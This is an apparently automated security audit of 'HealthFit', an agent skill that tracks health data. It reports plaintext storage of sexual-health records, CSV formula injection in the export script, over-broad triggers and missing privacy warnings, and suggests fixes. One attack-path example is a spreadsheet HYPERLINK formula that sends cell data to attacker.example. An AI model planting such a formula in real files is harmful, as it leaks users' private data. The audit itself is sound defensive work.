Back to skill

Security audit

HealthFit

Security checks for vulnerabilities and agentic risk

Overview

HealthFit is a coherent health tracker, but it stores sensitive health and sexual-health records locally without encryption and uses broad triggers that can load private profile context too easily.

Install only if you are comfortable with a local health tracker keeping plaintext health records in the skill workspace. Avoid entering sexual-health details until encryption, file permissions, retention, and deletion/export behavior are stronger, and use explicit HealthFit commands rather than casual health mentions to reduce accidental activation.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
config.json:63
Finding
Highly Sensitive Health Records Are Stored Without Encryption<![CDATA[ ## Vulnerability Details **File Location**: `config.json:63-70` **Vulnerability Type**: Plaintext storage of sensitive health information **Risk Level**: High ### Vulnerable Configuration ```json "privacy": { "sensitive_files": [ "private_sexual_health.json" ], "require_double_confirm": true, "encrypt_sensitive": false, "security_log": "security_log.txt", "_note": "encrypt_sensitive to be implemented in v3.1" } ``` The affected data model is documented in `references/storage_schema.md:147-172`: ```json { "enabled": true, "created_at": "2026-03-17", "gender_specific": { "male": { "frequency": "2-3 times/week", "quality_rating": 7, "concerns": [] }, "female": { "cycle_tracking": true, "last_period_start": "2026-03-01", "cycle_length_days": 28 } }, "notes": "Optional user notes" } ``` ### Technical Analysis The project explicitly disables encryption for `private_sexual_health.json`. The file can contain sexual activity, erectile function, menstrual-cycle, satisfaction, and other health information. Separating this information from the primary profile and requiring confirmation before application-level export does not provide confidentiality at rest. Any process or local account able to read the project directory can access the JSON file directly and bypass the confirmation workflow. The reviewed implementation also does not establish owner-only file permissions or use an operating-system credential store. The privacy statements in `references/onboarding_sexual_health.md:13-24` therefore provide workflow safeguards but not filesystem-level security. In addition, `references/storage_schema.md:398-409` suggests Base64 encoding as part of an encryption approach. Base64 is reversible encoding and provides no confidentiality, integrity, or authentication. ### Attack Path 1. A user opts into sexual-health profiling and supplies sensitive information. 2. The application store ...[truncated 1124 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Encrypt sensitive records using authenticated encryption such as AES-256-GCM or ChaCha20-Poly1305. 2. Store encryption keys outside the project directory, preferably in the operating-system keychain, credential manager, or another platform-backed secret store. 3. Never store the key adjacent to the ciphertext or derive it from a hardcoded password. 4. Create sensitive files with owner-only permissions, such as mode `0600` on POSIX systems, and verify the resulting permissions after creation. 5. Apply equivalent protections to temporary files, drafts, logs, and decrypted intermediate data. 6. Use atomic writes to an owner-only temporary file, then replace the destination to prevent partially written plaintext records. 7. Remove the Base64 recommendation. Explicitly document that encoding is not encryption. 8. Minimize the collected data and define retention and secure-deletion policies. 9. Ensure application-level confirmation is required for reading, exporting, backing up, and deleting sensitive records, while recognizing that confirmation does not replace encryption. 10. Add automated tests verifying that sensitive field values do not appear as plaintext in files, logs, backups, or exports. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/export.py:65
Finding
CSV Formula Injection Through Exported Health Records<![CDATA[ ## Vulnerability Details **File Location**: `scripts/export.py:65-77` **Vulnerability Type**: Spreadsheet formula injection in CSV exports **Risk Level**: Medium ### Vulnerable Code ```python for (table_name,) in tables: cursor.execute(f"SELECT * FROM {table_name}") rows = cursor.fetchall() # Get column names cursor.execute(f"PRAGMA table_info({table_name})") columns = [col[1] for col in cursor.fetchall()] # Write CSV csv_path = output_dir / f"{table_name}.csv" with open(csv_path, "w", newline="", encoding="utf-8") as f: writer = csv.writer(f) writer.writerow(columns) writer.writerows(rows) ``` ### Technical Analysis Database values are written directly to CSV without neutralizing spreadsheet formula prefixes. Several database columns can contain user-controlled text, including exercise names, food names, notes, units, and record descriptions. Python's `csv.writer` correctly escapes CSV delimiters and quotes, but it does not prevent spreadsheet applications from interpreting cell contents as formulas. Values beginning with `=`, `+`, `-`, or `@` may be evaluated when the exported file is opened in Microsoft Excel, LibreOffice Calc, or similar software. Depending on spreadsheet configuration and formula capabilities, a malicious formula can make external network requests, disclose data embedded in other cells, create misleading hyperlinks, or prompt the user to launch an external command. Modern spreadsheet protections may reduce some outcomes, but they do not make unsanitized formula cells safe. The dynamically formatted SQL table name is obtained from `sqlite_master` rather than direct user input, so the confirmed issue in this segment is CSV formula injection rather than SQL injection. ### Attack Path 1. An attacker causes a crafted value to be recorded in a user-controlled database field, for example: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open r ...[truncated 1110 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Sanitize every untrusted textual CSV value before passing it to `csv.writer`. 2. If a string begins with `=`, `+`, `-`, or `@`, prefix it with an apostrophe or another spreadsheet-safe literal marker. 3. Account for leading whitespace, tabs, carriage returns, and line feeds before checking for dangerous prefixes. 4. Apply sanitization to all textual fields rather than maintaining a fragile list of selected columns. 5. Consider offering JSON as the preferred machine-readable export format and clearly warn users about spreadsheet interpretation risks. 6. Add regression tests for values beginning with: ```text = + - @ \t= \r= \n= ``` 7. Verify the selected escaping strategy in supported versions of Excel, LibreOffice Calc, and any other documented spreadsheet clients. 8. Keep CSV delimiter escaping and formula neutralization as separate controls; standard CSV quoting alone is insufficient. Example defensive helper: ```python def sanitize_csv_cell(value): if not isinstance(value, str): return value normalized = value.lstrip(" \t\r\n") if normalized.startswith(("=", "+", "-", "@")): return "'" + value return value safe_rows = [ [sanitize_csv_cell(cell) for cell in row] for row in rows ] writer.writerows(safe_rows) ``` ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (74)

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
The skill description does not clearly disclose bulk export behavior, yet the file structure and recovery/export guidance indicate JSON, text, and SQLite data can be exported to filesystem artifacts. Bulk export of sensitive health history materially changes the privacy risk profile and can lead to large-scale disclosure if triggered unexpectedly or mishandled.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The skill description does not clearly disclose bulk export behavior, yet the file structure and recovery/export guidance indicate JSON, text, and SQLite data can be exported to filesystem artifacts. Bulk export of sensitive health history materially changes the privacy risk profile and can lead to large-scale disclosure if triggered unexpectedly or mishandled.

Tp4

High
Category
MCP Tool Poisoning
Confidence
90% confidence
Finding
The skill description does not clearly disclose bulk export behavior, yet the file structure and recovery/export guidance indicate JSON, text, and SQLite data can be exported to filesystem artifacts. Bulk export of sensitive health history materially changes the privacy risk profile and can lead to large-scale disclosure if triggered unexpectedly or mishandled.

Vague Triggers

High
Confidence
99% confidence
Finding
The trigger `PR` is extremely short and ambiguous, making accidental invocation highly likely in unrelated contexts. Because the skill can access persistent health data and private records, such spurious activation can lead to privacy exposure or unintended stateful actions disproportionate to the user's actual intent.

Missing User Warnings

Medium
Confidence
96% confidence
Finding
The report states that the skill stores detailed health data, including sexual health data, but does not present a prominent upfront privacy warning, retention policy, or clear consent flow before collection/storage. Because this skill is designed for long-term profiling and cross-session persistence, users may disclose highly sensitive information without realizing it will be retained locally in multiple formats.

Vague Triggers

Medium
Confidence
89% confidence
Finding
The trigger phrase set is broad enough to activate on ordinary health-related conversation, which can cause the skill to engage unexpectedly and solicit or process sensitive health information without sufficiently explicit user intent. In a health-management skill that supports persistent tracking and sexual-health records, accidental invocation increases privacy and consent risk beyond a typical low-stakes conversational overlap.

Lp3

Medium
Category
MCP Least Privilege
Confidence
78% confidence
Finding
The skill explicitly instructs the agent to read and potentially write local files (`profile.json`, drafts, logs, DB-related scripts) but does not declare any tool scope or allowed-tools boundary. That creates an authorization/visibility gap where the skill's effective data access is broader than its manifest suggests, increasing the risk of unintended access to sensitive health and sexual-health data.

Vague Triggers

Medium
Confidence
92% confidence
Finding
The description says the skill triggers when users merely discuss broad health topics, which makes invocation boundaries unclear. For a skill handling persistent and sensitive health data, unclear boundaries increase the chance that the agent loads profile context or begins collecting sensitive information without explicit, informed user intent.

Vague Triggers

Medium
Confidence
95% confidence
Finding
Broad triggers such as generic health or training phrases increase the chance of accidental invocation during ordinary conversation. In this skill, accidental activation is more dangerous because the session startup logic immediately attempts to read persisted profile data, which may expose or act on sensitive health records without a clearly intentional request.

Shadow Command Trigger

Medium
Category
Trigger Abuse
Confidence
76% confidence
Finding
The natural-language trigger `log exercise` overlaps with the built-in-style `/log` command concept, creating ambiguity in routing and command interpretation. In a stateful health-tracking skill, command-shadowing can cause unintended logging, wrong module activation, or accidental writes to persistent records.

Intent-Code Divergence

Medium
Confidence
90% confidence
Finding
The privacy statement says sexual health data is excluded from backup/export by default, but disaster-recovery instructions broadly direct restoring data from backups and exporting remaining data without preserving or reiterating that exclusion. In a health context, inconsistent handling guidance for sexual-health records can cause accidental inclusion, restoration, or disclosure of highly sensitive data.

Description-Behavior Mismatch

Medium
Confidence
94% confidence
Finding
The role explicitly forbids providing training plans, yet later includes concrete plateau interventions such as deloading, changing rep ranges, and exercise substitutions. In a health and fitness skill, this boundary violation can cause the analyst persona to deliver prescriptive exercise guidance without the safeguards, scope controls, or role handoff the design claims to enforce.

Description-Behavior Mismatch

Medium
Confidence
92% confidence
Finding
The documentation says the analyst must not provide diet advice, but the anomaly and plateau handling includes nutrition prescriptions such as protein intake targets and recovery-oriented dietary recommendations. Because this skill processes sensitive health context, users may rely on these recommendations as personalized nutrition guidance despite the role not being authorized or framed to provide it.

Missing User Warnings

Medium
Confidence
97% confidence
Finding
The skill explicitly stores sensitive health data, achievements, and summaries in persistent local files and a database, but provides no user warning, consent flow, retention policy, or access controls. Given the skill’s scope includes health profile, body metrics, sexual health records in the broader metadata, and longitudinal tracking, silent persistence materially raises privacy, confidentiality, and regulatory risk.

Intent-Code Divergence

Medium
Confidence
92% confidence
Finding
The role definition explicitly forbids diet advice, but later content gives concrete nutrition guidance ('protein 1.6g/kg'). In a health-management skill, contradictory boundaries can cause the agent to bypass specialist handoff and provide advice outside its authorized scope, increasing risk of inappropriate or unsafe recommendations.

Intent-Code Divergence

Medium
Confidence
79% confidence
Finding
The skill has strong stop-and-refer language for acute symptoms, but it also includes sexual-function enhancement coaching that can drift into medically sensitive territory. In a fitness advisor, mixing emergency triage language with quasi-medical sexual-function guidance creates scope confusion and may lead users to rely on non-clinical advice for conditions with underlying medical causes.

Missing User Warnings

Medium
Confidence
96% confidence
Finding
The workflow asks for and records health-related metrics such as heart rate, subjective exertion, and training history without an explicit privacy warning or informed-consent step. In a health-management context, collection of personal health data is especially sensitive, so omission of transparency and consent makes misuse, overcollection, and unintended retention more dangerous.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The file describes persistent storage of workout and health data in JSON, text logs, and a database without any user-facing notice or consent flow. Because this is health-related behavioral data, silent retention materially raises privacy risk, especially if users do not understand what is stored, for how long, or who can access it.

Context-Inappropriate Capability

Medium
Confidence
84% confidence
Finding
Male sexual-function enhancement coaching extends beyond a standard fitness-coach remit and enters a sensitive health domain. Because users may interpret this as treatment-oriented advice, the feature can encourage reliance on non-medical guidance for symptoms that may require professional evaluation.

Natural-Language Policy Violations

Medium
Confidence
83% confidence
Finding
The skill includes Chinese text and transliterated TCM terminology in core user-facing instructions, such as "solar term调养" and later Chinese characters throughout the document. Because the file does not state that users can choose language or that the skill is restricted to a Chinese-speaking context, it effectively imposes a locale/language assumption without opt-in.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The skill explicitly instructs storage of sensitive health-related records, including constitution profiles and daily tongue/health logs, but does not specify consent, retention, access control, minimization, or secure handling requirements. In a health-management context, this can lead to unauthorized collection or persistence of medical-style personal data, creating substantial privacy, compliance, and secondary misuse risk.

Natural-Language Policy Violations

Medium
Confidence
85% confidence
Finding
The skill frames nutrition guidance around male/female categories and later provides sex-differentiated recommendations without indicating that this is optional, clarifying whether the basis is sex, gender, hormones, or physiology, or allowing a broader set of user-selected profiles. In a health advice system, this can lead to inaccurate or exclusionary recommendations for transgender, nonbinary, intersex, or hormonally atypical users, which may reduce safety and trust.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The skill explicitly documents persistent storage of sensitive health and diet data across JSON, text logs, and a database, but provides no user notice, consent flow, retention limits, or access controls. In a health-management context, silent persistence of medical-adjacent personal data materially increases privacy and compliance risk because users may disclose medications, biometrics, and sexual-health-related details without realizing they are being retained.

Missing User Warnings

Medium
Confidence
88% confidence
Finding
The achievement system incentivizes weight-loss, body-fat, and 'transformation' milestones without any safety framing, medical caveats, or personalization boundaries. In a health-management skill, this can encourage unhealthy dieting, overtraining, or disordered behavior—especially for vulnerable users—because gamified rewards may push users toward unsafe targets or continued tracking of sensitive health indicators.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
The README promotes a workflow where users upload or capture selfies for movement analysis and progress tracking, but the primary usage section presents this as a normal feature before clearly surfacing privacy, consent, retention, and biometric/health-data risks. In a health-management skill, exercise selfies can reveal sensitive health information and potentially biometric identifiers, so insufficient upfront warning and data-handling guidance can lead to unsafe collection or misuse of personal data.

Static analysis

No suspicious patterns detected.